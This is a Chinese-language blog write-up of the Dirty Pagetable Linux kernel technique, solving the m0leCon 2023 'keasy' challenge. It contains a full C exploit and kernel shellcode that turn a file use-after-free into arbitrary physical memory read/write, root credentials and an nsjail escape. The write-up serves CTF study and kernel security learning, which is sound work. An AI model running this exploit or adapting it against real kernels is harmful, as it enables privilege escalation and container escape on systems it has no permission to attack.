Dirty Pagetable 学习 & 例题

henry Lv4

Dirty Pagetable 学习 & 例题

Reference:
https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html

https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606

1. Dirty Pagetable 介绍

​ 顾名思义这是一个与页表相关的利用,该技巧可以基于堆漏洞完成利用,简单来说该技巧就是去操纵用户页表,通过这种方法可以让攻击者获取到强原语:任意物理地址读写

该方法有以下优点:

  • 基于数据(data-only exploitation)就可以完成利用,不同于其他的传统的劫持内核控制流的方法,这种方法能够绕过 CFI、KASLR、SMAP/PAN 等等保护。
  • 该技巧可以用在最新的 linux 内核上。
  • 该技巧可以显著提高基于堆漏洞利用成功的效率。

2. Dirty Pagetable 原理步骤

​ 这里结合一个 UAF 来进行说明利用方式。

  1. 在一个包含 uaf object 的 victim slab 上触发 UAF,并且将该 slab 其他 object 释放从而让其被页分配器回收。
  2. 使用用户页表占用上一步释放的 victim slab,从下图中可以看到 pte 页表项占用了我们上一步释放的 victim object(UAF 堆块)。

nipaste_2024-04-08_21-13-0

  1. 这一步我们就可以建立写原语去修改页表项

    通常来说这一步是最困难的,因为在真实环境中我们想通过一个 UAF,去建立写原语修改它是复杂的,但是这篇文章中作者通过 file UAF 和 pid UAF 给了我们如何将这种 UAF 漏洞去改变 PTE。

  2. 修改 PTE 给内核打“补丁”

    为完成提权我们可以 patch 几个系统调用,例如 setresuid()setresgid()等,我们可以从非特权进程中直接执行它们进行提权(参考我在 n1ctf pramoon 中博客的做法)。再开了 SELINUX 时,也可以对 SELINUX 中的变量进行 patch 使它的功能失效。

  3. enjoy your root!

3. 通过 file UAF 利用 Dirty Pagetable

原文中作者提出了三种 file uaf 的利用方式:

第一种

通过具有高优先级文件的 file object 去占用我们释放的 victim file object,比如 /etc/crontab,在这之后我们可以通过写 victim object 去提权获取 root。这种方法的缺点在于:

  • 对竞争的要求比较高需要一些运气
  • 由于安卓上大多数高优先级文件都位于只读文件系统中,所以不能通过写原语来提权
  • 这种方法不能够用来容器逃逸

第二种

第二种方法是攻击系统库和可执行程序的页缓存,可以向程序中注入恶意代码,类似与 Dirty Pipe 的利用手法,这种方法的最大优点是比较稳定,不要条件竞争就可以提权。但这种方法依然很难用来解决第一种方法中提到的后两个问题,而且该方法不能被用来其他类型的 UAF 漏洞。

第三种

第三种方法是基于 cross-cache attach 的视角来进行利用,不过要完成利用得先绕过 KASLR

4. 例题 m0leCon Finals 2023-keasy

原文作者是通过 CVE-2022-28350 来实现的,但由于在网上没有找到关于该漏洞的详细介绍,也没有详细的 poc,所以对于一个 kernel 菜鸟来说想复现已经结束咧,但针对这种利用技巧,m0lecon 的出题人已经为我们准备好了一个题目 keasy, 这道题不得不说又涨了波思路,感觉这种上过 blackhat 的技巧都很实用。

话不多说,我们直接开始吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-kernel bzImage \
-cpu qemu64,+smep,+smap,+rdrand \
-m 4G \
-smp 4 \
-initrd rootfs.cpio.gz \
-hda flag.txt \
-append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1 kaslr" \
-monitor /dev/null \
-nographic \
-no-reboot \
-s

启动脚本如上所示,与我们常见的 kernel 题大差不差,该开的保护也都开了,不做过多说明。

静态分析

​ 这道题源码其实很简单

nipaste_2024-04-10_19-51-0

漏洞点

​ 漏洞点就在于上面代码中在 copy 失败后会直接 fput(v4) 释放 inode 对象。

利用过程

nipaste_2024-04-10_19-54-1

利用分析

Cross-Cache Attack

由于 file object 和 page table 所在的 kmem_cache 之间是独立的,所以说我们想仅在一个 slab 内完成 UAF 是不现实的,因此这里需要借助 Cross-Cache Attack 完成利用,关于这个技巧可以参考VERITAS501师傅 –> Cross Cache Attack ,里面讲的很明白。

堆喷 file object & get victim fd

为完成 Cross-Cache Attack 的需要,我们需要先进行堆喷 file object,先让 file object 占据足够多的 slab(一个页大小),步骤如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* STEP.1 Spray the filp objects
*/
output_msg ("STEP.1 Spray file structs completely!");
for (int i = 0; i < FILE_SPRAYNUM/2; i++){
spray_fd[i] = open("/", O_RDONLY);
if (spray_fd[i] < 0) err_msg("fail open /.");
}
// get uaf filp struct when the operation of copy_to_user failure
uaf_fd = spray_fd[FILE_SPRAYNUM/2-1] + 1;
if (ioctl(keasy_fd, 0, 0xdeadbeef) == 0) err_msg("fail uaf");

for (int i = FILE_SPRAYNUM/2; i < FILE_SPRAYNUM; i++){
spray_fd[i] = open("/", O_RDONLY);
if (spray_fd[i] < 0) err_msg("fail open /.");
}

为更进一步理解,这里用参考1 Nicolas Wu 的图说明(画的很好,懒得自己画了,只能盗大佬的图了)。

nipaste_2024-04-10_20-08-1

可以看到在经过上面的过程后 victim fd 指向我们前面所说的 UAF file object 对象,下图为调试过程中正要释放时的 file object 的数据,记住这个 f_count 待会会用到。

nipaste_2024-04-10_20-23-2

回收 victim slab 到 page allocator

这一步依然是完成 Cross-Cache Attack 的过程,将之前分配的所有 slab 全部释放,其中包含有 victim file object 的 slab 将会被 page allocator 回收。

1
2
3
4
output_msg ("STEP.2 Release all the filp struct");
for (int i = 0; i < FILE_SPRAYNUM; i++){
close(spray_fd[i]);
}

通过 pte 占用 victim slab

我们先通过 mmap 映射得到对应的虚拟地址,这一步内核并不会直接我们分配对应的物理地址空间,而是在执行 *(char *)(spray_page[i] + j*0x1000) = 'A' + j; 后,会触发缺页,此时内核才会为我们真正分配虚拟地址对应的物理地址空间,并填充页表项,建立虚拟地址和物理地址之间的映射关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
// This step is to prepare spray PTEs the follow
for (int i = 0; i < PAGE_SPRAYNUM; i++){
spray_page[i] = mmap((void *)(0xdead0000UL + i*(0x10000UL)),
0x8000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (spray_page[i] == MAP_FAILED) err_msg("fail to mmap space");
}

output_msg ("STEP.3 Spray PTEs to fill the victim slab of victim UAF filp object");
for (int i = 0; i < PAGE_SPRAYNUM/2; i++){
for (int j = 0; j < 8; j++)
*(char *)(spray_page[i] + j*0x1000) = 'A' + j;
}

nipaste_2024-04-10_20-32-1

从上图可以看到,与前面 file object 那张图比较可以发现,同样的位置已经被页表项填充了,这样就完成了我们这一步的目的,参考下图理解。

注意这里需要提一下,页表项的构造,在上面的页表项中低 12 位用作标记位,其中 0x122a0b 才是对应的页框号

nipaste_2024-04-10_20-40-3

建立增量原语并定位 victim PTE

这里的 victim PTE 可以理解为其实就是我们前面提到的跟 f_count 占据同一个 8 字节的页表项,增量原语也不要理解的过于复杂,实际上就是想办法能够让我们的 PTE 中的内容能够增加,而这个增量原语就是要通过我们前面一直提到的 f_count 来实现,先来看看一个 file object 结构体的字段有哪些(借助 phole 得到):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct file {
union {
struct llist_node fu_llist; /* 0 8 */
struct callback_head fu_rcuhead __attribute__((__aligned__(8))); /* 0 16 */
} f_u __attribute__((__aligned__(8))); /* 0 16 */
struct path f_path; /* 16 16 */
struct inode * f_inode; /* 32 8 */
const struct file_operations * f_op; /* 40 8 */
spinlock_t f_lock; /* 48 4 */
enum rw_hint f_write_hint; /* 52 4 */
atomic_long_t f_count; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
unsigned int f_flags; /* 64 4 */
fmode_t f_mode; /* 68 4 */
struct mutex f_pos_lock; /* 72 32 */
loff_t f_pos; /* 104 8 */
struct fown_struct f_owner; /* 112 32 */
/* --- cacheline 2 boundary (128 bytes) was 16 bytes ago --- */
const struct cred * f_cred; /* 144 8 */
struct file_ra_state f_ra; /* 152 32 */
u64 f_version; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void * f_security; /* 192 8 */
void * private_data; /* 200 8 */
struct list_head f_ep_links; /* 208 16 */
struct list_head f_tfile_llink; /* 224 16 */
struct address_space * f_mapping; /* 240 8 */
errseq_t f_wb_err; /* 248 4 */

/* size: 256, cachelines: 4, members: 21 */
/* padding: 4 */
/* forced alignments: 1 */
} __attribute__((__aligned__(8)));

可以看到 f_count 位于 56 字节到 64 字节,我们可以通过 dup(fd),来让 f_count 实现增原语,可是别忘了我们此时这个位置已经被页表项填充了,所以说我们实际上可以通过 dup(fd) 来完成修改页表项的内容,假设下图为我们初始情况,每一个页表项对应一个大小为 0x1000 的物理地址空间,此时 victim pte 还是指向自己的 page。

nipaste_2024-04-10_20-56-0

我们调用 dup(fd) 0x1000 次后的 victim pte 指向情况如下图所示,

nipaste_2024-04-10_21-01-0

可以看到此时 victim pte 已经指向了另外一个地址空间,这使得它从用户态访问其内容时就会发生变化,我们可以通过这一点来找到 victim pte,为了方便读者进一步理解,我这里在放出 pte 真实情况下的状态。

nipaste_2024-04-10_21-06-1

这里借助一个 gef 插件神器 可以直接看物理地址的内容,会自动完成地址转换,可以看到其内容已经由之前指向的 0x48 变为了 0x41(‘A’) 。

nipaste_2024-04-10_21-08-0

Catch a page table again

有了前面的那一步,细心地读者是不是想到如果一直 dup,让页表项指向一个内核 text/data 物理地址,是不是就可以任意读写呢,可事实是我们mmap出来的区域和内核 text/data 的位置差了很多,在资源有限的情况下我们不可能一直 dup,所以说这里我们需要用到另外一个办法。

通过前面的内容我们知道,我们已经实现了让两个页表项指向了同一个位置,如果我们使用 munmap() 释放 page,将会得到一个 page UAF,然后我们在用 page table 去填充该 page 就可以完成对 page table 的修改了,可是事实并非如此,一个重要原因是从 anonymous mmap()中分配得到的页来自于 MIGRATE_MOVABLE free_area of the memory zone,而用户页表分配的 page 来自于 MIGRATE_UNMOVABLE free_area of the memory zone,所以说这使得我们要得到这个 page 的可能性非常低。

这里就需要使用到原文作者提到的另外一个手法 ,通过/dev/dma_heap/system完成利用,有两点原因:一是该文件在安卓中可以由不受信任的 app 使用;二是 dma-buf 的实现相对来说比较简单。

使用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct dma_heap_allocation_data data;

data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
perror("DMA_HEAP_IOCTL_ALLOC");
return -1;
}
int dma_buf_fd = data.fd;

我们可以通过 mmap() dma_buf_fd 实现共享页面在用户空间和内核之间的映射。这里我们需要注意到一件非常重要的事就是该共享页面从何而来,从那里分配得到,幸运的是其和 page table 一样都从 MIGRATE_UNMOVABLE free_area 分配得到,同时它们都从相同 order 下的分配页面。这使得我们可以有了如下做法:

  • step.1 堆喷 page table
  • step.2 申请一块共享页面
  • step.3 堆喷 page table

然后就有了下面的分配情况,

nipaste_2024-04-10_21-42-2

下面要做的就是重新映射用户空间和内核空间地址(由munmap实现),再将 dma_buf 的物理空间映射到用户空间,需要知道的是 dma_buf 所在的物理位置是和 page_table 紧邻的(从相同order分配)。

nipaste_2024-04-10_21-49-3

nipaste_2024-04-10_21-50-1

可以看到重新映射的页表项内容和之前的页表项发生了很大的变化,上图红框中的页表项其实就对应下图中的一个状态(已经被 dup 0x1000 次后的情况)。

nipaste_2024-04-10_21-58-2

nipaste_2024-04-10_21-59-3

上图中 0x00000011e64d000 开始后的内容实际上就是我们 dma_buf 重新映射后的空间,而这是一个 page table,这已经意味着我们可以随心所欲的修改 page table 到任意地址,简单来讲我们已经可以**任意地址写(AAW)任意地址读(AAR)**了。

AAR & AAW

leak kernel base

尽管有一些随机化的保护,可是仍然在一些固定地址处会存在内核地址之类的关键信息

nipaste_2024-04-10_22-07-0

可以参考上面一些地址区间(开了随机化),正常不开 kaslr 的时候,上面这些地址除了第一个都是从 0xffff888000000000 开始的,所以说自己找的时候可以加个偏移来看。

nipaste_2024-04-10_22-10-0

像下面 0x2c01000 物理地址处就会保存有一个 内核地址,至于为什么有两个,相信大家应该都听过 direct mapping area ,其中这个空间中会保存其他所有页面的映射,这也解释了为什么会出现两个。

nsjail 逃逸

这一块涉及到笔者盲区了,所以直接拿原作者中的 shellcode 来打了,思路是通过任意写去 patch do_symlinkat 系统调用的函数功能,从而可以该调用直接在 nsjail 中进行调用,完整 shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
  init_cred         equ 0x1445ed8
commit_creds equ 0x00ae620
find_task_by_vpid equ 0x00a3750
init_nsproxy equ 0x1445ce0
switch_task_namespaces equ 0x00ac140
init_fs equ 0x1538248
copy_fs_struct equ 0x027f890
kpti_bypass equ 0x0c00f41

_start:
endbr64
call a
a:
pop r15
sub r15, 0x24d4c9

; commit_creds(init_cred) [3]
lea rdi, [r15 + init_cred]
lea rax, [r15 + commit_creds]
call rax

; task = find_task_by_vpid(1) [4]
mov edi, 1
lea rax, [r15 + find_task_by_vpid]
call rax

; switch_task_namespaces(task, init_nsproxy) [5]
mov rdi, rax
lea rsi, [r15 + init_nsproxy]
lea rax, [r15 + switch_task_namespaces]
call rax

; new_fs = copy_fs_struct(init_fs) [6]
lea rdi, [r15 + init_fs]
lea rax, [r15 + copy_fs_struct]
call rax
mov rbx, rax

; current = find_task_by_vpid(getpid())
mov rdi, 0x1111111111111111 ; will be fixed at runtime
lea rax, [r15 + find_task_by_vpid]
call rax

; current->fs = new_fs [8]
mov [rax + 0x740], rbx

; kpti trampoline [9]
xor eax, eax
mov [rsp+0x00], rax
mov [rsp+0x08], rax
mov rax, 0x2222222222222222 ; win
mov [rsp+0x10], rax
mov rax, 0x3333333333333333 ; cs
mov [rsp+0x18], rax
mov rax, 0x4444444444444444 ; rflags
mov [rsp+0x20], rax
mov rax, 0x5555555555555555 ; stack
mov [rsp+0x28], rax
mov rax, 0x6666666666666666 ; ss
mov [rsp+0x30], rax
lea rax, [r15 + kpti_bypass]
jmp rax

int3

最终结果

nipaste_2024-04-10_22-18-2

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#define SECONDARY_STARTUP_64 0xffffffff81000030
#define PAGE_SIZE 0x1000

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
u64 len;
u32 fd;
u32 fd_flags;
u64 heap_flags;
};

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
output_msg("Process binded to core");
}

size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[32m\033[1m[+] status has been saved!\033[0m");
}

// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len)
{
size_t *buf64 = (size_t *) addr;
char *buf8 = (char *) addr;
for (int i = 0; i < len / 8; i += 2) {
printf(" %04x", i * 8);
for (int j = 0; j < 2; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

static void win() {
char buf[0x100];
int fd = open("/dev/sda", O_RDONLY);
if (fd < 0) {
puts("[-] Lose...");
} else {
puts("[+] Win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[+] Done");
pause();
}
exit(0);
}

void debug(char *info)
{
output_msg(info);
getchar();
}

#define FILE_SPRAYNUM 0x100
#define PAGE_SPRAYNUM 0x200
int dmafd;
int keasy_fd;
int main(){

int uaf_fd;
char* spray_fd[FILE_SPRAYNUM];
char* spray_page[PAGE_SPRAYNUM];

bind_core(0);
save_status();
keasy_fd = open("/dev/keasy", O_RDONLY);
if (keasy_fd < 0) err_msg("Fail open keasy");
dmafd = open("/dev/dma_heap/system", O_RDONLY);
if (dmafd < 0) err_msg("Fail open dma_heap");

// This step is to prepare spray PTEs the follow
for (int i = 0; i < PAGE_SPRAYNUM; i++){
spray_page[i] = mmap((void *)(0xdead0000UL + i*(0x10000UL)),
0x8000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (spray_page[i] == MAP_FAILED) err_msg("fail to mmap space");
}

/**
* STEP.1 Spray the filp objects
*/
output_msg ("STEP.1 Spray file structs completely!");
for (int i = 0; i < FILE_SPRAYNUM/2; i++){
spray_fd[i] = open("/", O_RDONLY);
if (spray_fd[i] < 0) err_msg("fail open /.");
}
// get uaf filp struct when the operation of copy_to_user failure
uaf_fd = spray_fd[FILE_SPRAYNUM/2-1] + 1;
if (ioctl(keasy_fd, 0, 0xdeadbeef) == 0) err_msg("fail uaf");

for (int i = FILE_SPRAYNUM/2; i < FILE_SPRAYNUM; i++){
spray_fd[i] = open("/", O_RDONLY);
if (spray_fd[i] < 0) err_msg("fail open /.");
}

/**
* STEP.2 Release all the filp struct to construct Cross Cache Attack
* object: clear the slab page and return it to page allocator
*/
output_msg ("STEP.2 Release all the filp struct");
for (int i = 0; i < FILE_SPRAYNUM; i++){
close(spray_fd[i]);
}

/**
* STEP.3 Spray PTEs to fill the victim slab of victim UAF filp object
* Notion: Dont forget alloc dma_buf_heap
*/
output_msg ("STEP.3 Spray PTEs to fill the victim slab of victim UAF filp object");
for (int i = 0; i < PAGE_SPRAYNUM/2; i++){
for (int j = 0; j < 8; j++)
*(char *)(spray_page[i] + j*0x1000) = 'A' + j;
}

// alloc dma-buf heap which is same as the order of pages of a page table
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
perror("DMA_HEAP_IOCTL_ALLOC");
return -1;
}
int dma_buf_fd = data.fd;
printf("[*] Dma_buf_fd ==> %d\n", dma_buf_fd);
for (int i = PAGE_SPRAYNUM/2; i < PAGE_SPRAYNUM; i++){
for (int j = 0; j < 8; j++)
*(char *)(spray_page[i] + j*0x1000) = 'A' + j;
}

/**
* STEP.4 Find corrupt PTE by dup(uaf_fd) 0x1000 times
*/
output_msg ("STEP.4 Try to find corrupt PTE");
for (int i = 0; i < 0x1000; i++){
dup(uaf_fd);
}
char *evil_page = NULL;
for (int i = 0; i < PAGE_SPRAYNUM; i++){
if (*(char *)(spray_page[i] + 7*0x1000) != 'A' + 7){
evil_page = (char *)(spray_page[i] + 7*0x1000);
printf("[*] The %dth content of corrupt page now: %s\n", i, evil_page);
printf("[*] Find corrupt page %p\n", evil_page);
break;
}
}

/**
* STEP.5 Arbitrary physical Address Read/Write by overwrite PTE
*/
output_msg ("STEP.5 Arbitrary physical Address Read/Write by overwrite PTE");
munmap(evil_page, 0x1000);
char *dma_buf = mmap(evil_page, 0x1000, PROT_READ | PROT_WRITE,
MAP_POPULATE | MAP_SHARED, dma_buf_fd, 0); //ATTATION NOT MAP_ANONYMOUS
dma_buf[0] = 'a'; //get mapping relation
printf("[*] Dma_buf's content is: %p\n", *(size_t *)&dma_buf[0]);

for (int i = 0; i < 0x1000; i++){
dup(uaf_fd);
}
if (*(size_t *)&dma_buf[0] < 0xff) err_msg("Fail leak, plz try again");
printf("[*] After dup the dma_buf's content is: %p\n", *(size_t *)&dma_buf[0]);
// modify PTE with dma_buf to leak p_kernel_base
*(size_t *)&dma_buf[0] = 0x800000000009c067;

// find corrupt PTE
char *arbitrary_read_write_page = NULL;
for (int i = 0; i < PAGE_SPRAYNUM; i++){
if (*(char *)spray_page[i] != 'A'){
arbitrary_read_write_page = spray_page[i];
output_msg("Find corrupt PTE and you can begin to exploit it");
printf("[*] Corrupt pte addr ==> %p\n", arbitrary_read_write_page);
}
}
size_t p_kernel_addr = *(size_t *)arbitrary_read_write_page & ~0xfff;
size_t p_kernel_base = p_kernel_addr - 0x1c04000;
print_addr("physical kernel_base addr", p_kernel_base);

/**
* STEP.6 Escaping from nsjail
*/
size_t phys_func = p_kernel_base + 0x24d4c0;
*(size_t*)dma_buf = (phys_func & ~0xfff) | 0x8000000000000067;
char shellcode[] = {
0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,
0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,
0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,
0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,
0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,
0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,
0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,
0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,
0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,
0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,
0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,
0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };
void *p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t*)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t*)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t*)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t*)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t*)p = user_sp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t*)p = user_ss;
memcpy(arbitrary_read_write_page + (phys_func & 0xfff), shellcode, sizeof(shellcode));
puts("[+] you got it");
printf("%d\n", symlink("/jail/x", "/jail"));
puts("[-] Fail");
// close(fd);

// debug("p2"); //for debug
return 0;
}

  • Title: Dirty Pagetable 学习 & 例题
  • Author: henry
  • Created at : 2024-04-10 23:06:34
  • Updated at : 2024-04-10 23:11:24
  • Link: https://henrymartin262.github.io/2024/04/10/Dirty-pagetable-study/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments